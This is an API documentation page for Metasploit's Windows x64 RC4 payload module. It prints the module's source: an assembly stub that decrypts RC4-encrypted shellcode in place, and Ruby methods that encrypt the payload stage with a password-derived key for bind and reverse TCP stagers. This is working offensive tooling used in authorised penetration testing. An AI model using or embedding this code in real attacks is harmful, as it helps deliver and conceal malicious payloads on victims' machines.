Module: Msf::Payload::Windows::Rc4_x64

Included in:
BindTcpRc4_x64, ReverseTcpRc4_x64
Defined in:
lib/msf/core/payload/windows/x64/rc4.rb

Overview

RC4 decryption stub for Windows ARCH_X64 payloads

Instance Method Summary collapse

Instance Method Details

#asm_decrypt_rc4Object

Generate assembly code that decrypts RC4 shellcode in-place


25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# File 'lib/msf/core/payload/windows/x64/rc4.rb', line 25

def asm_decrypt_rc4
  %!
     ;-----------------------------------------------------------------------------;
     ; Author: max3raza
     ; Version: 1.0 (12 January 2018)
     ;-----------------------------------------------------------------------------;
     ; Input: R9 - Data to decode
     ;        RCX - Data length
     ;        RSI - Key (16 bytes for simplicity and smaller code)
     ;        RDI - pointer to 0x100 bytes scratch space for S-box
     ; Direction flag has to be cleared
     ; Output: None. Data is decoded in place.
     ; Clobbers: RAX, RBX, RCX, RDX, R8, R9, RDI (stack is not used)
     ; Initialize S-box
       xor rax, rax           ; Start with 0
       mov r8, rdi            ; Save pointer to S-box
     init:
       stosb                  ; Store next S-Box byte S[i] = i
       inc al                 ; increase byte to write (RDI is increased automatically)
       jnz init               ; loop until we wrap around
     ; permute S-box according to key
       xor rbx, rbx           ; Clear RBX (RAX is already cleared)
     permute:
       add bl, [r8+rax]      ; BL += S[AL] + KEY[AL % 16]
       mov rdx, rax
       and dl, 0xF
       add bl, [rsi+rdx]
       mov dl, [r8+rax]      ; swap S[AL] and S[BL]
       xchg dl, [r8+rbx]
       mov [r8+rax], dl
       inc al                 ; AL += 1 until we wrap around
       jnz permute
     ; decryption loop
       xor rbx, rbx           ; Clear RBX (RAX is already cleared)
     decrypt:
       inc al                 ; AL += 1
       add bl, [r8+rax]      ; BL += S[AL]
       mov dl, [r8+rax]      ; swap S[AL] and S[BL]
       xchg dl, [r8+rbx]
       mov [r8+rax], dl
       add dl, [r8+rbx]      ; DL = S[AL]+S[BL]
       mov dl, [r8+rdx]      ; DL = S[DL]
       xor [r9], dl          ; [R9] ^= DL
       inc r9                ; advance data pointer
       dec rcx                ; reduce counter
       jnz decrypt            ; until finished
   !
end

#generate_stage(opts = {}) ⇒ Object


74
75
76
77
78
79
80
81
82
# File 'lib/msf/core/payload/windows/x64/rc4.rb', line 74

def generate_stage(opts = {})
  p = super(opts)
  xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
  c1 = OpenSSL::Cipher.new('RC4')
  c1.decrypt
  c1.key = rc4key
  p = c1.update(p)
  [ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
end

#handle_intermediate_stage(_conn, _payload) ⇒ Object


84
85
86
# File 'lib/msf/core/payload/windows/x64/rc4.rb', line 84

def handle_intermediate_stage(_conn, _payload)
  false
end

#initialize(*args) ⇒ Object

Register rc4 specific options


16
17
18
19
# File 'lib/msf/core/payload/windows/x64/rc4.rb', line 16

def initialize(*args)
  super
  register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class)
end